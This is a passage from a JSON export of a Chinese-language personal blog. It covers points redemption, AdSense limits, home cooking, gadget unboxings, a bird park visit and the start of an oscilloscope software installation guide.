點數，若要兌換商品可以先選擇商品分類，再瀏覽可兌換的商品。\nStep 4\n將想要兌換的商品加入購物車。\n每一項商品的取貨地點都不一樣，在兌換前一定要注意可以取貨的門市資訊。\nStep 5\n選擇好所有要兌換的商品之後，在購物車中點選「兌換商品」。\nStep 6\n完成商品兌換之後，會獲得商品票劵，這時候就可以拿著手機，去指定的門市領取商品了。\n至門市領取商品 到門市領取商品時，要用手機登入高鐵會員 TGO 點數 365 網站，然後讓店家掃描票劵的條碼，就可以領取商品了。以下我們示範在 7-ELEVEN 便利超商領取咖啡蛋捲禮盒的過程。\nStep 1\n依照商品取貨的門市資訊，前往可以取貨的門市。以大部分 7-ELEVEN 的商品來說，任何一個 7-ELEVEN 門市都可以取貨。\nStep 2\n用手機開啟高鐵會員 TGO 點數 365 網站，點選「登入」。\nStep 3\n用自己的帳號與密碼登入之後，打開右上角的主選單。\nStep 4\n選擇「TGo 票卷夾」，然後點選「使用票劵」。\nStep 5\n讓手機顯示票卷的條碼，等一下到櫃台兌換時會需要掃描。\nStep 6\n在 7-ELEVEN 門市內尋找要兌換的商品（如果是換咖啡，就直接拿條碼到櫃台兌換即可）。\nStep 7\n拿要兌換的商品與手機上的商品條碼到櫃台結帳，結帳時只要讓店員掃描手機上的商品條碼即可，記得事先把手機亮度調亮一點，會比較好掃描。\n結帳完之後，就可以把商品帶回家了。\n","permalink":"https://blog.gtwang.org/life/thsrc-tgo-points-redeem-gifts-tutorial-20201231/","summary":"\u003cp\u003e這裡示範如何線上使用高鐵會員 TGO 點數兌換商品，並前往指定門市領取兌換的商品。\u003c/p\u003e\n\u003cp\u003e只要加入 \u003ca href=\"https://tgo.thsrc.com.tw/\"\u003eTGO 台灣高鐵會員\u003c/a\u003e，在買高鐵票的時候，登入會員資訊，即可累積紅利點數（每 20 元獲贈 1 點），等累積到一定的點數之後，就可以兌換各種商品。\u003c/p\u003e","title":"高鐵會員 TGO 點數兌換商品教學"},{"content":"這篇是本站的 Google AdSense 廣告出現「廣告放送量受限」問題的處理過程記錄。\nGoogle AdSense 廣告放送量受限 就在 2021 年的第一天，收到這則 Google AdSense「廣告放送量受限」的通知，難得放假休息還要處理這種事。:(\n可放送的廣告數量受限\n詳情\n您帳戶目前有無效流量的疑慮，廣告放送量因而受限。我們會持續監控流量，並自動審查及調整這項限制。進一步瞭解廣告放送量限制。\n建議做法\n請務必瞭解您的廣告流量和網站訪客。絕對不要點擊自己的廣告，並向可疑或品質不佳的流量來源說不。進一步瞭解如何防範無效流量。雖然這項廣告放送限制對發布商的影響通常不到 30 天，但有時可能會較久。\n收到這個通知的時候，網站上的廣告就已經被暫停發送了，所以 2021 年的第一天，網站廣告就停擺，真是個值得紀念的日子。\n我在上個月左右有在 Google AdSense 的報表上有發現廣告點擊數字異常增加，大約是平常的好幾倍，但是當天出現的異常數字到了比較晚的時候又下降到正常值，然後我查了自己伺服器的流量資料也沒有異常，也就是說可能是針對性的惡意網路攻擊，但是 Google AdSense 的報表資料後來都修正回正常值了，所以我也拿不到相關的資料，沒辦法進行分析。\n我想我能做的就是寫個信給 Google，拜託他們幫忙調查，我填了無效點擊聯絡表單回報了我所知道的資訊，希望有些幫助。\n第八天 在網站暫停發送廣告一週之後，網站上的 Google AdSense 廣告又恢復正常了，但是在 Google AdSense 政策中心的「廣告放送量受限」問題訊息還是存在。\n第十四天 到了第十四天，Google AdSense 政策中心的「廣告放送量受限」問題訊息消失了，也就是說無效流量的問題已經解決了，而整個過程我們也沒辦法做什麼事情，就是等待而已。\n參考資料 弥奈日常茶飯 KATE遊日記 第二十四個夏天後 ","permalink":"https://blog.gtwang.org/web-development/google-adsense-ad-serving-limits-2021/","summary":"\u003cp\u003e這篇是本站的 Google AdSense 廣告出現「廣告放送量受限」問題的處理過程記錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"google-adsense-廣告放送量受限\"\u003eGoogle AdSense 廣告放送量受限\u003c/h2\u003e\n\u003cp\u003e就在 2021 年的第一天，收到這則 Google AdSense「廣告放送量受限」的通知，難得放假休息還要處理這種事。:(\u003c/p\u003e","title":"Google AdSense 廣告放送量受限問題記錄"},{"content":"本篇介紹如何使用檸檬酸或白醋浸泡與清洗蒸鍋，去除蒸鍋底部的水垢。\n蒸鍋用久了之後，底部可能會結一層厚厚的水垢，這時候就可以用檸檬酸或白醋來去除，其原理跟清潔水龍頭上白色的水垢相同。\n蒸鍋底部水垢 這是用了好幾年的蒸鍋，底部累積了很厚的一層水垢。\n這種水垢的主要成分是碳酸鈣，用菜瓜布也很難刷洗。\n去除蒸鍋底部水垢 以下是去除蒸鍋底部水垢的步驟。\nStep 1\n準備一些白醋或是檸檬酸，任選一種即可。\n這裡我們以檸檬酸做為示範。\nStep 2\n加入一些檸檬酸，加入的量要看水垢的多寡而定，不確定要多少的話，可以先加一點點，之後若感覺不夠再加一些。\nStep 3\n加入一些自來水，讓水位蓋過鍋底的水垢。\nStep 4\n等待鍋底的水垢分解，在分解水垢的過程會產生氣泡。\nStep 5\n如果檸檬酸或白醋加的量不夠，可能會無法分解全部的水垢，這時候可以再補加一些，直到所有的水垢都分解完。\nStep 6\n使用菜瓜布輕輕刷洗鍋底，再用水清洗之後，鍋子就變得非常乾淨了。\n","permalink":"https://blog.gtwang.org/life/clean-water-scale-in-the-pot-with-vinegar-or-citric-acid-20210101/","summary":"\u003cp\u003e本篇介紹如何使用檸檬酸或白醋浸泡與清洗蒸鍋，去除蒸鍋底部的水垢。\u003c/p\u003e\n\u003cp\u003e蒸鍋用久了之後，底部可能會結一層厚厚的水垢，這時候就可以用檸檬酸或白醋來去除，其原理跟\u003ca href=\"/life/how-to-clean-polished-nickel-faucets-using-citric-acid-or-white-vinegar/\"\u003e清潔水龍頭上白色的水垢\u003c/a\u003e相同。\u003c/p\u003e","title":"用檸檬酸或白醋浸泡、清洗蒸鍋內水垢教學"},{"content":"本篇是我從 PChome 線上購物購買 MagSafe 無線充電器的記錄。\n最近買了新的 Apple iPhone 12 mini 手機之後，原本想搭配磁吸的充電線，但是使用上一職不理想，時常接觸不良，所以打算改用無線充電器看看會不會比較方便。\n我是直接買 Apple 認證的 MagSafe 無線充電器，從 PChome 上面買會比較快收到，這是從 PChome 線上購物寄來的包裹。\n打開外箱。\n這就是 MagSafe 無線充電器的外盒。\n這是背面的說明。\n側邊也有許多標示資訊。\n外盒上面有封條。\n打開外盒。\n裡面有三本類似說明書的東西。\n這就是 MagSafe 無線充電器，包裝簡單但是很精緻。\n它的接頭是 USB Type-C，沒有附贈變壓器。\n這就是整個 MagSafe 無線充電器。\nMagSafe 無線充電器的正面中間是一層軟墊，可避免刮傷手機。\n這是 MagSafe 無線充電器的背面。\nMagSafe 無線充電器是磁吸的設計，當 iPhone 手機靠近它的時候，會自動吸附在正確的位置進行充電。\n當 iPhone 手機放在 MagSafe 無線充電器上面進行充電時，會顯示充電的動畫與通知聲音。\nMagSafe 無線充電器的充電速度很快，平常 Lightning 的插孔沒在使用的話，就可以用防塵塞把它塞起來了。\n","permalink":"https://blog.gtwang.org/unboxing/magsafe-wireless-charger-2020/","summary":"\u003cp\u003e本篇是我從 PChome 線上購物購買 MagSafe 無線充電器的記錄。\u003c/p\u003e\n\u003cp\u003e最近買了新的 \u003ca href=\"/unboxing/apple-iphone-12-mini-5g/\"\u003eApple iPhone 12 mini 手機\u003c/a\u003e之後，原本想搭配磁吸的充電線，但是使用上一職不理想，時常接觸不良，所以打算改用無線充電器看看會不會比較方便。\u003c/p\u003e","title":"[開箱] MagSafe 無線充電器"},{"content":"本篇記錄我用里仁的十全大補湯中藥包，自己煮素食十全大補湯的過程。\n最近里仁推出了一系列的藥膳燉包，自己加一些料就可以輕鬆煮補湯，非常方便。\n以往這類的中藥材都會有二氧化硫等問題，里仁賣的這些都有經過檢驗，吃起來比較安心。\n在十全養生藥膳燉包的背面標示中，有建議的調理方法，但是我不想喝中藥味太重的補湯，所以我沒有按照它的比例，我的蔬菜與水量加的很多，一次煮一大鍋。\n這次要煮素食的十全大補湯，我買了金針菇、杏鮑菇、厚肉香菇、高麗菜、胡蘿蔔、白蘿蔔、黃玉米、人參山藥，除了厚肉香菇是有機轉型期的（全聯買的），其餘的食材都是有機的（里仁買的）。\n通常補湯都會放一些素料，我在里仁買了這一款植物素肉，他很適合煮湯，口感類似貢丸。\n一包有九顆，煮了之後會稍微脹起來，味道不會太重。\n煮補湯可以加一些米酒，台灣菸酒的紅標料理米酒在全聯就可以買到。\n首先把所有的食材洗乾淨，切成塊狀。\n補湯的煮法很簡單，只把所有的食材放進鍋中，水滾之後轉小火燉煮 30 分鐘就可以了，沒什麼技巧。\n除了食材之外，也要記得放十全養生藥膳燉包，還有加入米酒。\n煮好之後，放一些鹽巴調味，再加入一些黑麻油會更香。\n這樣就完成一大鍋素食十全大補湯了，這樣一鍋我可以吃超過一週。\n冬天很冷的時候每天喝一碗，真的會感覺比較不怕冷。\n","permalink":"https://blog.gtwang.org/diy/leezen-shi-quan-da-bu-wan-20201219/","summary":"\u003cp\u003e本篇記錄我用里仁的十全大補湯中藥包，自己煮素食十全大補湯的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近里仁推出了一系列的藥膳燉包，自己加一些料就可以輕鬆煮補湯，非常方便。\u003c/p\u003e","title":"[DIY] 自己煮素食十全大補湯記錄"},{"content":"本篇記錄我用里仁香椿醬製作香椿炒飯的過程。\n最近買了里仁的香椿醬還沒決定要做什麼料理，而阿玄之前說想吃炒飯，所以今天就試做一下香椿炒飯。\n這次用的材料如下：\n白米兩米杯。 毛豆半碗。 玉米粒半碗。 胡蘿蔔半條。 杏鮑菇兩條。 香菇數片。 雞蛋兩顆。 以上材料沒有任何設計，只是因為剛好今天冰箱裡有這些料，就拿來炒一炒，讓小朋友可以吃到各種營養，另外我覺得還可以加的東西有高麗菜、素火腿、黑木耳等。\n製作炒飯之前要先把白飯準備好，聽說應該要用隔夜飯比較好，但是我只有剛煮好的白飯，就只能將就用了。\n食材部分原則上大部分的東西都是切丁，冷凍的毛豆與玉米粒不需要切，杏鮑菇可隨意切，胡蘿蔔要切細一點，香菇泡軟切小片。\n先將兩顆雞蛋打散炒熟備用，接著把香菇爆香，再加入胡蘿蔔炒一下，然後再把剩餘的毛豆、玉米、杏鮑菇加入炒熟，最後加入炒蛋與白飯，還有里仁買的香椿醬，稍微拌炒一下，就可以起鍋了。\n這就是用里仁的香椿醬炒的炒飯，阿玄超愛吃。\n這次因為時間很趕，沒有仔細抓香椿醬的用量，不小心加了半罐的香椿醬，我個人感覺是加太多了，香椿味道很重，但是阿玄說這樣很好吃。\n這款里仁的香椿拌醬本身的調味就已經有鹹了，所以我覺得如果在炒飯的時候香椿醬加比較多的話，就可以不需要另外加鹽巴了。\n","permalink":"https://blog.gtwang.org/diy/leezen-chinese-mahogany-sauce-fried-rice-20201213/","summary":"\u003cp\u003e本篇記錄我用里仁香椿醬製作香椿炒飯的過程。\u003c/p\u003e\n\u003cp\u003e最近買了里仁的香椿醬還沒決定要做什麼料理，而阿玄之前說想吃炒飯，所以今天就試做一下香椿炒飯。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[DIY] 里仁香椿醬製作香椿炒飯記錄"},{"content":"本篇記錄最近買了里仁的臭豆腐，回家自己煎的過程。\n最近逛里仁門市的時候，看到這一款臭豆腐，就順便問了門市人員烹煮方式，她們跟我說可以直接煎了之後，切小塊、灑胡椒鹽、配泡菜，或是切薄片煮湯也很好吃，看起來不會很難，就買來嘗試看看。\n這次先嘗試用煎的，先放兩塊試煎看看。\n用中火煎到兩面都呈現金黃色。\n這樣就完成了，感覺非常簡單。\n將煎好的臭豆腐切小塊之後，配上自己的醬汁或辣醬。\n也可以撒上胡椒鹽，這樣就非常好吃了。\n今天是阿玄第一次吃臭豆腐，雖然有點臭臭的，但是他說這個煎的臭豆腐非常好吃。\n","permalink":"https://blog.gtwang.org/diy/leezen-fried-stinky-tofu-20201212/","summary":"\u003cp\u003e本篇記錄最近買了里仁的臭豆腐，回家自己煎的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近逛里仁門市的時候，看到這一款臭豆腐，就順便問了門市人員烹煮方式，她們跟我說可以直接煎了之後，切小塊、灑胡椒鹽、配泡菜，或是切薄片煮湯也很好吃，看起來不會很難，就買來嘗試看看。\u003c/p\u003e","title":"[DIY] 自己煎里仁的臭豆腐"},{"content":"本篇記錄自己用紫米與糯米製作紫米糕的過程。\n最近發現家裡有一包紫米（黑糯糙米）快過期了，所以就來做個紫米糕，把它趕快用掉，這個配方式自己調整過的，雖然做出來的紫米糕不怎麼樣，但是可以把紫米快速消耗掉。\n網路上有很多紫米糕的配方，大部分紫米與糯米的比例是 1：2，但是我希望趕快把紫米用掉，所以這次用比例是 1：1，配方如下：\n紫米（黑糯糙米） 2 米杯。 糯米 2 米杯。 二號砂糖 5 大匙（可自行調整）。 水 3 米杯。 米酒 1 米杯。 椰子油約 1 茶匙。 松子或堅果少許。 通常紫米糕會放一些桂圓、紅棗、枸杞之類的，但是阿玄不喜歡那些，所以配料我就改成烤熟的松子，另外水與米酒是可以互換的，不喜歡酒味的人也可以直接換成水。以下是製作步驟記錄。\nStep 1\n將兩米杯的紫米準備好，洗乾淨之後，浸泡八小時。\n糯米的部分不太需要浸泡，將兩米杯的糯米洗乾淨之後，就可以直接蒸煮。\nStep 2\n準備好兩米杯的紫米、兩米杯的糯米，加入三米杯的水與 0.8 米杯的米酒，放入蒸鍋蒸約 30 分鐘。\n如果不想用蒸鍋，也可以用電鍋，就跟煮飯差不多，外鍋加一杯水，電鍋跳起之後再讓它悶一下。\nStep 3\n趁熱取出剛蒸好的紫米糕。\nStep 4\n加入大約一茶匙左右的有機椰子油，讓紫米糕有一些椰香。\nStep 5\n加入二號砂糖，這部分就看個人習慣斟酌砂糖的量，喜歡吃甜的人就多加一些，不要太甜的話就減量。\nStep 6\n將紫米糕、椰子油、砂糖混合均勻。\n這樣就完成簡單的紫米糕了。\n可能由於糯米的比例比較低，這樣做出來的紫米糕沒有很黏，所以沒辦法結成塊狀，我是直接裝進保鮮盒內，要吃的時候再挖出來吃。\n要吃的時候，可以撒上松子，或是其他的小堅果，這樣就是一道飯後甜點了。\n","permalink":"https://blog.gtwang.org/diy/diy-purple-rice-cake-20201212/","summary":"\u003cp\u003e本篇記錄自己用紫米與糯米製作紫米糕的過程。\u003c/p\u003e\n\u003cp\u003e最近發現家裡有一包紫米（黑糯糙米）快過期了，所以就來做個紫米糕，把它趕快用掉，這個配方式自己調整過的，雖然做出來的紫米糕不怎麼樣，但是可以把紫米快速消耗掉。\u003c/p\u003e","title":"[DIY] 自製松子紫米糕記錄"},{"content":"本篇是我在中華電信換約買 Apple iPhone 12 mini 手機，並且自己購買犀牛盾防摔殼與磁吸充電線的記錄。\n過去家裡的光世代網路一直以來都不穩定，偶爾都會出現斷線的問題，最近實在是受不了，直接就把光世代網路停掉，改用手機的網路分享給電腦上網，但我的手機月租費很低，網路流量不夠使用，而之前的契約也還沒結束，也無法升級更高的 4G 費率，唯一的辦法就是升級成 5G。\n由於上一次買的 Sony Xperia L2 手機也差不多用了兩年多了，索性就趁這一次直接換一支 5G 的 iPhone 12 mini 手機。\n我買的這一支 iPhone 12 mini 的容量是 64GB，蘋果官方的原價是 23,900 元，如果綁比較高的費率，折扣就會比較多。這就是我去中華電信的門市辦理完成之後，拿回來的 iPhone 12 mini 手機。\niPhone 12 mini 的包裝很精簡，盒子也很小，據說是為了節能減炭。\n我買的這一支是白色的 iPhone 12 mini，也有其他好幾種顏色可以選。\n這是 iPhone 12 mini 手機與配件。\niPhone 12 mini 的配件很少，只有一條充電線而已，接頭規格一邊是 USB Type-C，另一頭則是 Lightning，沒有變壓器，所以如果自己沒有 USB Type-C 插頭的變壓器，就要另外購買一個。\niPhone 12 手機的這一側有一個電源按鍵。\n另外一側則有靜音切換開關，以及音量調整按鍵。\n頂部就沒有什麼特別的東西了。\n底部就是充電或傳輸資料用的 Lightning 插孔。\n開始使用前，撕開 iPhone 12 mini 螢幕保護膜。\n這是 iPhone 12 mini 的螢幕。\n這是 iPhone 12 前置鏡頭，旁邊幾顆我也不知道是什麼。\n這是 iPhone 12 mini 的背面。\n這是 iPhone 12 mini 的兩個相機鏡頭，一個是廣角，另一個是超廣角。\n這次買 iPhone 12 mini 手機的同時，我也上網買了幾條DIKE DL4 磁吸充電線。\n這種磁吸充電線是將充電線與磁吸頭分開，靠著磁性吸附來充電，使用上很方便。由於充電線與磁吸頭是分開的，購買的時候要注意不要漏買，線的部分有不同的長度可以選擇。\n磁吸頭也有不同的規格，iPhone 要挑 Lightning 的磁吸頭。\n手機殼也是必要的配備，這個犀牛盾防摔殼也是直接上網買的。\n這一個犀牛盾防摔殼有兩種組裝方式，可以選擇要不要安裝透明的背板。\n這是把透明背板裝上去的樣子，我是感覺這樣比較安全一些，如果不裝明背板裝，看起來應該會很漂亮。\n這是裝上犀牛盾防摔殼的 iPhone 12 mini 正面。\n這一個犀牛盾防摔殼跟 DIKE DL4 磁吸頭搭配起來非常適合，如果只有安裝磁吸頭，他就會突出一塊在那邊，而裝上了防摔殼之後，兩者個高度幾乎一樣，所以感覺上就很平整，非常剛好。\n這是 iPhone 12 開機之後的樣子，看起來真的很漂亮。\n","permalink":"https://blog.gtwang.org/unboxing/apple-iphone-12-mini-5g/","summary":"\u003cp\u003e本篇是我在中華電信換約買 Apple iPhone 12 mini 手機，並且自己購買犀牛盾防摔殼與磁吸充電線的記錄。\u003c/p\u003e\n\u003cp\u003e過去家裡的光世代網路一直以來都不穩定，偶爾都會出現斷線的問題，最近實在是受不了，直接就把光世代網路停掉，改用手機的網路分享給電腦上網，但我的手機月租費很低，網路流量不夠使用，而之前的契約也還沒結束，也無法升級更高的 4G 費率，唯一的辦法就是升級成 5G。\u003c/p\u003e","title":"[開箱] Apple iPhone 12 mini 手機、犀牛盾防摔殼、磁吸充電線"},{"content":"官田水雉生態教育園區是一處可以觀察保育類水雉的地方，還有紅冠水雞、小水鴨、高蹺鴴、小環頸鴴等各種鳥類。\n水雉是第二級珍貴稀有的保育類動物，官田水雉生態教育園區是由台灣高鐵贊助，專門用於復育水雉的園區，除了水雉之外還有其他許多鳥類，例如紅冠水雞、小水鴨、高蹺鴴、小環頸鴴等，詳細的介紹可以參考西拉雅國家風景區與台南旅遊網的網頁。\n這裡就算是假日人潮也不多，路邊皆可停車。\n這是官田水雉生態教育園區入口。\n入口處有水雉生態教育園區的標示牌。\n這裡入園是免費的，不過需要登記入園的人數，只需要一人代表填表，並填入總人數即可，旁邊有園區的介紹文宣可以取用。\n這是入園資訊。\n這裡的蚊子不少，來這邊參觀的時候建議要準備防蚊液。\n這裡有飲水機與洗手間。\n這邊有一些水雉介紹的資訊。\n這裡在周末時都會有野鳥學會的人員幫忙架設望遠鏡讓遊客觀察水雉，用這種大型的望遠鏡看到的畫面比普通望遠鏡還要清楚很多。\n我們今天來運氣很不錯，一早來就看到好幾隻水雉。\n這一張照片一次拍到三隻水雉。\n這是今天拍攝到各種野鳥的影片，其中有水雉、高蹺鴴與小水鴨等。\n這是這裡的參觀步道。\n步道旁有一些水雉介紹資訊。\n這裡有好幾座可以觀察野鳥的賞鳥屋，在這裡可以非常舒服的觀察各種鳥類。\n這些是高蹺鴴與小水鴨。\n遇到野鳥相關的問題，也可以詢問野鳥學會的人員。\n這一本是野鳥圖鑑（水鳥篇），這裡許多的鳥都可以在這一本書中查到。\n這一隻是小環頸鴴，它的動作很靈活，時常跑來跑去。\n這是水雉的棲地，因為鳥的距離都很遠，從觀測地點直接用手機拍攝的的話，基本上是看不到鳥的。\n若要拍鳥的話，比較簡單的方式就是用手機對著望遠鏡拍攝，不過對的時候需要一些技巧，這裡的野鳥照片都是這樣拍的。\n這是解說員。\n小朋友可以蓋個紀念章拿回家作紀念。\n這是官田水雉生態教育園區的介紹文宣。\n","permalink":"https://blog.gtwang.org/life/pheasant-tailed-jacana-ecological-education-nature-park-tainan-20201121/","summary":"\u003cp\u003e官田水雉生態教育園區是一處可以觀察保育類水雉的地方，還有紅冠水雞、小水鴨、高蹺鴴、小環頸鴴等各種鳥類。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e水雉是第二級珍貴稀有的保育類動物，官田水雉生態教育園區是由台灣高鐵贊助，專門用於復育水雉的園區，除了水雉之外還有其他許多鳥類，例如紅冠水雞、小水鴨、高蹺鴴、小環頸鴴等，詳細的介紹可以參考\u003ca href=\"https://www.siraya-nsa.gov.tw/zh-tw/attractions/detail/1\"\u003e西拉雅國家風景區\u003c/a\u003e與\u003ca href=\"https://www.twtainan.net/zh-tw/attractions/detail/1342\"\u003e台南旅遊網\u003c/a\u003e的網頁。\u003c/p\u003e","title":"[台南旅遊景點] 官田水雉生態教育園區"},{"content":"本篇是第四代樹莓派 Raspberry Pi 4 Model B 的簡單開箱文。\n第四代樹莓派 Raspberry Pi 4 Model B 4GB RAM 的規格如下：\nBroadcom BCM2711 四核心 Cortex-A72（ARM v8）64 位元 1.5GHz 處理器 4GB LPDDR4-3200 SDRAM 2.4 GHz/5.0 GHz IEEE 802.11b/g/n/ac 無線網路，藍牙 5.0 BLE Gigabit Ethernet 兩個 USB 3.0 埠、兩個 USB 2.0 埠 Raspberry Pi 標準 40 pin GPIO 排針擴充板插座 兩個 micro-HDMI 埠（可達 4K 解析度、60 幅顯示輸出） 2-lane MIPI DSI 顯示埠 2-lane MIPI CSI 相機埠 4-pole 立體聲音和複合視訊埠 H264（1080p60 解碼, 1080p30 編碼） OpenGL ES 3.0 graphics Micro-SD 卡插槽 5V DC 可經由 USB-C 插座輸入（至少 3A） 5V DC 可經由 GPIO 插座輸入（至少 3A） 5V DC 可經由 PoE 輸入（需要另外安裝 PoE 擴充板） 工作環境溫度：攝氏 0 至 50 度 這是樹莓派 Raspberry Pi 4 的外盒。\n這是外盒底部的文字訊息。\n打開外盒，就直接可以看到樹莓派，包裝很簡約，不像以前還有防靜電的塑膠袋。\n除了樹莓派開發板之外，還有一張標示注意事項的紙卡與說明書。\n這是樹莓派開發板的正面，這一代比較特別的地方就是四核心 1.5GHz 的 CPU、4GB 記憶體（另外還有 2GB 與 8GB 版本）、兩個支援 4K 顯示的 micro-HDMI 埠、兩個 USB 3.0 埠、Gigabit Ethernet、USB-C 供電。\n這是樹莓派開發板的背面。\n這一次就是一個 USB-C 的電源輸入埠、兩個支援 4K 顯示的 micro-HDMI 埠，以及音源埠。\n這一側就是標準的樹莓派 GPIO 排針。\n這一側就是兩個 USB 2.0 埠、兩個 USB 3.0 埠，以及速度實際可達到 Gigabit 的 Ethernet 埠。\n這一側就沒什麼特別的了。\n這是 Broadcom BCM2711 四核心 Cortex-A72（ARM v8）64 位元 1.5GHz 處理器，處理器右邊的 4GB 的記憶體。\n這次樹莓派的硬體升級程度是它推出以來最大的一次（價格也是），以往它都維持在比較低的規格，但是這一次推出的規格比以往好很多，已經可以當成一般 PC 來使用了。\n由於樹莓派 Raspberry Pi 4 輸入的電流至少需要 3A，普通的手機充電器大概都不夠，所以需要另外買一個電流比較大的 USB Type-C 變壓器，另外它的螢幕輸出是 micro-HDMI，所以也要買 micro-HDMI 的轉接頭，配件當中就是這兩件要注意不要漏買。\n我把 Raspberry Pi OS 裝起來之後，試跑了一下，發現樹莓派 Raspberry Pi 4 的效能真的非常棒，我可以開 YouTube 一邊聽音樂，一邊開終端機工作，使用起來已經非常接近一般電腦的感覺了。\n樹莓派 Raspberry Pi 4 如果又接了雙螢幕，基本上就可以符合我平常大部分的工作需求，既省電又安靜，真的非常好用。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-4-model-b-4gb-ram/","summary":"\u003cp\u003e本篇是第四代樹莓派 Raspberry Pi 4 Model B 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e第四代樹莓派 Raspberry Pi 4 Model B 4GB RAM 的規格如下：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eBroadcom BCM2711 四核心 Cortex-A72（ARM v8）64 位元 1.5GHz 處理器\u003c/li\u003e\n\u003cli\u003e4GB LPDDR4-3200 SDRAM\u003c/li\u003e\n\u003cli\u003e2.4 GHz/5.0 GHz IEEE 802.11b/g/n/ac 無線網路，藍牙 5.0 BLE\u003c/li\u003e\n\u003cli\u003eGigabit Ethernet\u003c/li\u003e\n\u003cli\u003e兩個 USB 3.0 埠、兩個 USB 2.0 埠\u003c/li\u003e\n\u003cli\u003eRaspberry Pi 標準 40 pin GPIO 排針擴充板插座\u003c/li\u003e\n\u003cli\u003e兩個 micro-HDMI 埠（可達 4K 解析度、60 幅顯示輸出）\u003c/li\u003e\n\u003cli\u003e2-lane MIPI DSI 顯示埠\u003c/li\u003e\n\u003cli\u003e2-lane MIPI CSI 相機埠\u003c/li\u003e\n\u003cli\u003e4-pole 立體聲音和複合視訊埠\u003c/li\u003e\n\u003cli\u003eH264（1080p60 解碼, 1080p30 編碼）\u003c/li\u003e\n\u003cli\u003eOpenGL ES 3.0 graphics\u003c/li\u003e\n\u003cli\u003eMicro-SD 卡插槽\u003c/li\u003e\n\u003cli\u003e5V DC 可經由 USB-C 插座輸入（至少 3A）\u003c/li\u003e\n\u003cli\u003e5V DC 可經由 GPIO 插座輸入（至少 3A）\u003c/li\u003e\n\u003cli\u003e5V DC 可經由 PoE 輸入（需要另外安裝 PoE 擴充板）\u003c/li\u003e\n\u003cli\u003e工作環境溫度：攝氏 0 至 50 度\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e這是樹莓派 Raspberry Pi 4 的外盒。\u003c/p\u003e","title":"[開箱] 樹莓派 Raspberry Pi 4 Model B 4GB RAM"},{"content":"本篇是 Hantek 6022BE 雙通道 20MHz USB 介面示波器的開箱文，並介紹一系列可以搭配 Hantek 6022BE 使用的示波器軟體。\n這一款 Hantek 6022BE 示波器是我好久以前買的，現在才拿出來使用，現在市面上已經有更新的黑色版本了，不過第一次開箱使用，還是想記錄一下。\nHantek 6022BE 雙通道 20MHz USB 介面示波器 這是 Hantek 6022BE 雙通道 20MHz USB 介面示波器的外盒。\n這些是 Hantek 6022BE 示波器與所有的配件，其中包含兩隻 PP-80 探棒、USB 傳輸線以及光碟等。\n它的 USB 傳輸線在接電腦端這一邊有兩個 Type A 接頭，黑色的是正常的插頭，傳遞訊號與提供電源，一般狀況下只要插上黑色的 USB 插頭即可，而如果電源供應不足的時候，可以使用紅色的 USB 插頭輔助供電。\n這就是 Hantek 6022BE 示波器。\n側邊有 USB 插孔，使用時要透過附帶的 USB 傳輸線連接電腦，配合電腦上的軟體使用。\n另外一側是兩個通道的信號輸入插孔，以及參考用的方波信號源。\n第一次使用時，要將探棒連接方波的信號源，進行探棒的校正。\n這裡產生的方波頻率是 1kHz，峰值為 2V。\n這是 Hantek 6022BE 電腦軟體的畫面，裡面的方波可以用來校正探棒的可調電容。\nOpenHantek6022 OpenHantek6022 是一套專門搭配 Hantek 6022BE/BL 的開放原始碼示波器軟體，支援 Linux、Raspberry Pi、Windows 與 MacOSX 等各種平台，可從 OpenHantek6022 的 Releases 網頁下載預先編譯好的版本來安裝使用。\n以 Ubuntu Linux 來說，可下載 deb 套件安裝檔，安裝後即可使用：\n# 下載 OpenHantek6022 安裝檔（Ubuntu） wget https://github.com/OpenHantek/OpenHantek6022/releases/download/3.1.2/openhantek_20200729-95ff65f_amd64.deb # 安裝 sudo 